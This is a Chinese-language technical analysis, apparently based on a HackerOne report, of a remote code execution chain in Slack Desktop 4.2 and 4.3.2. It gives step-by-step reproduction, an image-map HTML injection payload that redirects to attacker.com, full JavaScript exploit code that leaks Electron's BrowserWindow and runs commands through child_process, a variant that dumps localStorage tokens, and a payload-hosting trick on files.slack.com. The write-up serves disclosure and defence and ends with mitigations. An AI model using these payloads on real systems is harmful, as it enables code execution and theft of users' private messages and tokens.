Hackerone:利用 Slack Desktop 的跳转漏洞实现 RCE
字数 1594 2025-08-20 18:17:47
Slack Desktop 跳转漏洞实现 RCE 技术分析
漏洞概述
本漏洞利用 Slack Desktop 应用中的跳转漏洞实现远程代码执行(RCE),影响 Slack Desktop 4.2 和 4.3.2 版本(跨平台:Mac/Windows/Linux)。攻击者可以通过多种方式(HTML注入、应用内重定向等)在受害者机器上执行任意命令。
漏洞前提条件
-
存在以下任意一种漏洞利用入口:
- 应用内重定向登录/开放式重定向
- HTML注入
- JavaScript注入
-
攻击者需要拥有一个启用HTTPS的服务器来托管恶意payload
技术细节与复现步骤
攻击流程
-
攻击者准备阶段:
- 在HTTPS服务器上上传RCE payload文件
- 准备带有HTML注入的Slack Post
- 将Post分享到频道或直接分享给目标用户
-
受害者交互阶段:
- 用户在PC端点击被篡改的post文件
- HTML将桌面应用重定向到攻击者控制的网站
- 攻击者网站返回RCE JavaScript代码
- 利用跳转漏洞绕过Slack桌面环境限制
- 泄露Electron对象并执行任意命令
HTML注入方法
方法一:直接编辑Slack Post JSON结构
-
创建新的Slack Post时,会在
https://files.slack.com生成包含以下结构的文件:{"full":"<p>content<\/p>","preview":"<p>content<\/p>"} -
通过访问
/api/files.info获取私有文件URL,格式为:https://files.slack.com/files-pri/{TEAM_ID}-{FILE_ID}/TITLE -
编辑JSON结构的两种方式:
- 通过Web UI直接编辑:
https://{YOUR-TEAM-HOSTNAME}.slack.com/files/{YOUR-MEMBER-ID}/{FILE-ID}/title/edit - 通过上传JSON文件并修改文件类型:
- 上传
payload.json文件 - 拦截
/api/files.edit请求 - 修改
filetype参数为docs
- 上传
- 通过Web UI直接编辑:
方法二:利用HTML注入payload
由于Slack对HTML标签有严格限制,开发了特殊的注入payload:
<map name="slack-img">
<area shape="rect" coords="10000,10000 0,0" href="https://attacker.com/t.html" target="_self">
</map>
注意:
- 必须使用Slack基础设施托管的图片
usemap属性引用图片area标签实现点击重定向
RCE Exploit代码
攻击者网站上托管的利用代码:
<html>
<body>
<script>
// 覆盖函数获取BrowserWindow对象
window.desktop.delegate = {}
window.desktop.delegate.canOpenURLInWindow = () => true
window.desktop.window = {}
window.desktop.window.open = () => 1
bw = window.open('about:blank') // 泄露BrowserWindow类
nbw = new bw.constructor({show: false, webPreferences: {nodeIntegration: true}}) // 创建带有nodeIntegration的新窗口
nbw.loadURL('about:blank') // 加载URL以便交互
nbw.webContents.executeJavaScript('this.require("child_process").exec("open /Applications/Calculator.app")') // 执行命令
</script>
</body>
</html>
平台适配:
- Windows: 替换命令为
calc或其他有效命令 - 测试方法: 在Slack Desktop开发者工具控制台中直接执行JavaScript代码
数据窃取变种
无需执行命令即可访问私有数据的payload:
<html>
<body>
<script>
window.desktop.delegate = {}
window.desktop.delegate.canOpenURLInWindow = () => true
window.desktop.window = {}
window.desktop.window.open = () => 1
bw = window.open('about:blank')
nbw = new bw.constructor({show: false}) // 不需要nodeIntegration
nbw.loadURL('https://app.slack.com/robots.txt') // 获取用户完整环境
nbw.webContents.executeJavaScript('alert(JSON.stringify(localStorage))')
</script>
</body>
</html>
备用payload存储方法:files.slack.com XSS
发现Slack服务器以明文存储电子邮件内容,可直接返回HTML而不强制下载:
- 使用电子邮件客户端发送包含payload的纯文本邮件
- 在Slack中通过"Open original"找到上传的HTML文件
- 或通过调用
/api/files.info获取url_private链接
漏洞影响
-
远程代码执行:
- 访问私有文件、密钥、密码和机密信息
- 获取内部网络访问权限
-
数据泄露:
- 访问所有私人对话和文件
- 获取本地存储的所有令牌
-
蠕虫化可能性:
- payload可设计为自动传播
-
其他风险:
files.slack.com上的XSS- 任意HTML内容注入(被Slack默认为可信)
- 网络钓鱼攻击
缓解措施
-
及时更新Slack Desktop到最新版本
-
禁用或限制HTML内容在Slack中的渲染
-
实施更严格的CSP策略
-
对Electron应用进行安全加固:
- 禁用不必要的Node.js集成
- 限制
BrowserWindow的创建和使用
-
加强输入验证和过滤:
- 对用户提交的JSON内容进行严格验证
- 过滤危险的HTML标签和属性
总结
该漏洞通过组合HTML注入和Electron安全缺陷,实现了在Slack Desktop应用中的远程代码执行。攻击者可以利用多种途径注入恶意代码,最终完全控制受害者的Slack客户端并访问所有私有数据。这凸显了富文本处理和Electron应用安全的重要性。